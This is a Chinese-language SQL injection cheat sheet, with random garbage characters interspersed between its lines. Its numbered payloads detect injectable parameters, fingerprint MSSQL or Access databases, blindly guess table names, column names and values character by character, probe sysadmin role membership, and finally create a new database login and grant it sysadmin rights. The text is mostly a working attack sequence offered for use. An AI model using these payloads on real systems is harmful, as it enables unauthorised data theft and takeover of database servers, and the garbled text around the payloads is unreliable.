1.判断是否有注入;and 1=1 ;and 1=2 Dir# [j
2.初步判断是否是mssql ;and user>0 gjJ:s,Fg
Ug[0l)
3.注入参数是字符'and [查询条件] and ''=' [ P*L`F
ee<'j~{A
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ?<OE|nb&
](+u'8
5.判断数据库系统 lBG5~<NT
,S}wOjb@
;and (select count(*) from sysobjects)>0 mssql u#ocx[
'*U_!RmQ
;and (select count(*) from msysobjects)>0 access (e
2.Ru
rXrIGgeM
.dc|?$XV
5n::]Q%=D
6.猜数据库 ;and (select Count(*) from [数据库名])>0 M6[O>z
V+u0J"/8
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
8`<3rj
bHDZ=Ik
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 pB VzmQF
ASS<XNP
9.(1)猜字段的ascii值(access) `)i4ZmE|
Pr/q?qZY
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ,]@Sytky
t,~feW,
(2)猜字段的ascii值(mssql) Ch=jt*0
YyY?<<z%
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 REOWSs$'
1LmbXH]%
10.测试权限结构(mssql) #E/|WT
+D h?MQt?
0sq?>$~Kc*
Z4k'c+
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- (>\4%(pnD
>(gbUW
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- B.?@VF
t4zKI~cO
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- PTF|"^k+
{o%OG/!1
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- R|\kk?,u
OQ3IkE`G
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- b\SB
oPxh+|0?
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- I_`$$-|
2N&S__
;and 1=(select IS_MEMBER('db_owner'));-- )uCa]IR
/7R0w
U@".XIDQ
W
6R/{H
11.添加mssql和系统的帐户 tHJahK:"k
;3=RM\
;exec master.dbo.sp_addlogin username;-- A2nL=9~
;exec master.dbo.sp_password null,username,password;-- FdxV#.BE
bL%-9BG
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- "6WE6zq
&